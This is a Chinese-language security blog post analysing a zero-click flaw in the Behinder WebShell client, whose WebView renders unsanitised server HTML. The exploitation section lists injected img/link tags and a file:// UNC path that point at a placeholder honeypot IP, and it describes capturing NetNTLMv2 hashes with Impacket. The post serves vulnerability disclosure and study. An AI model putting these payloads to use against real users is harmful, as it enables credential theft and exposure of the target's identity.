🔰 博主简介
SRC 白帽黑客 | 网络安全实战派博主 | 6年甲方网络安全工程师 | 腾讯 SRC 三年年榜前十
深耕 Web 安全 / 移动安全 / AI 安全 / 渗透测试 / 漏洞挖掘
国内外企业 SRC + 众测有效漏洞 1000+ | 持续系统分享 SRC 实战案例 & 技巧
个人简介

⚠️ 用户须知
「免责声明」:本教程内容仅作网络安全技术学习交流使用,严禁用于非法用途。作者及相关参与人员,对直接 / 间接使用本教程内容导致的数据丢失、系统损坏、隐私泄露、经济损失等任何形式的损失,不承担任何责任,所有使用风险由使用者自行承担。
0x01 前言
冰蝎是一款新型动态二进制加密网站工具,也是全面且具备实战操作功能的WebShell管理工具。
4月27日安全研究员 s2cr3t 在冰蝎(Behinder)官方 GitHub 仓库提交了一个编号为313 的安全漏洞报告。issue地址如下
https://github.com/rebeyond/Behinder/issues/313
冰蝎(Behinder)v4.1 存在BasicInfo 模块 WebView 未过滤 HTML 直接渲染的高危漏洞,恶意 WebShell 服务端可构造含外部资源引用的响应,在用户连接瞬间0-click 触发HTTP/SMB 出站连接,窃取操作者真实 IP、主机信息、Windows 域名及可离线破解的 NetNTLMv2 密码哈希,全程无感知、无弹窗。
0x02 背景
冰蝎是一款新型动态二进制加密网站工具,也是全面且具备实战操作功能的WebShell管理工具。冰蝎不仅仅局限于传统的WebShell功能,还集成了许多特殊功能的WebShell。这些特殊的WebShell能够提供更加复杂的操作,如远程桌面控制、系统信息搜集、密码获取等,在高级渗透测试和特定场景下的应用尤为突出。
冰蝎GitHub地址:https://github.com/rebeyond/Behinder
2.1 冰蝎 BasicInfo 通信逻辑
冰蝎客户端与 WebShell 服务端建立连接后,会通过BasicInfo接口获取服务器基础信息(如系统版本、路径、权限等),该字段以HTML 格式返回,经 AES 解密、Base64 解码后,由客户端 UI 渲染展示。
2.2 JavaFX WebView 安全风险
客户端采用 JavaFX WebView(底层 WebKit 606.1)渲染basicInfo,并通过setJavaScriptEnabled(false)禁用 JavaScript,开发人员默认此操作可阻断恶意行为。
但WebKit 的 HTML/CSS 解析、外部资源加载与 JavaScript 引擎完全独立,禁用 JS 无法阻止<img>/<link>/<iframe>/file://等标签触发的外部请求。
2.3 核心风险点
Windows 系统中file://[IP]/path会被自动转为UNC 路径(\\[IP]\path),触发 SMB 协议自动认证,发送当前用户 NetNTLMv2 哈希,攻击者可通过 离线破解获取明文密码。
0x03 案例分析
3.1 安全风险原理
数据流如下

关键设计错误位于:setJavaScriptEnabled(false)仅禁用脚本执行,不影响 HTML 标签解析与资源加载;
服务端可控的 HTML 未做白名单过滤,导致恶意标签被完全解析执行。
3.2 问题触发点
核心触发代码位于net/rebeyond/behinder/ui/controller/MainWindowController.java处
webengine.loadContent(basicInfoStr)
该语句直接传入未做任何净化的服务端basicInfo字符串,是漏洞的唯一触发入口。
3.3 利用场景与技巧
1. 构造Python蜜罐,模拟冰蝎 AES/ECB+Base64+JSON 协议;
2. 在basicInfo字段注入如下恶意 HTML:
<img src="http://蜜罐IP:9090/beacon.png">
<link rel="stylesheet" href="http://蜜罐IP:9090/style.css">
<img src="file://蜜罐IP/share/logo.png">
3. 启动HTTP信标服务器(捕获 IP/UA)+ Impacket SMB 捕获服务器(窃取哈希);
4. 用户连接蜜罐,0-click 触发多协议出站,完成信息窃取。

0x04 总结
本次冰蝎 v4.1 安全风险是客户端渲染安全的典型反面案例:开发人员过度依赖禁用 JavaScript 的防护效果,忽略了 WebView 原生解析机制的风险,未对服务端可控输入做 HTML 净化,最终导致 0-click 凭据窃取


被折叠的 条评论
为什么被折叠?



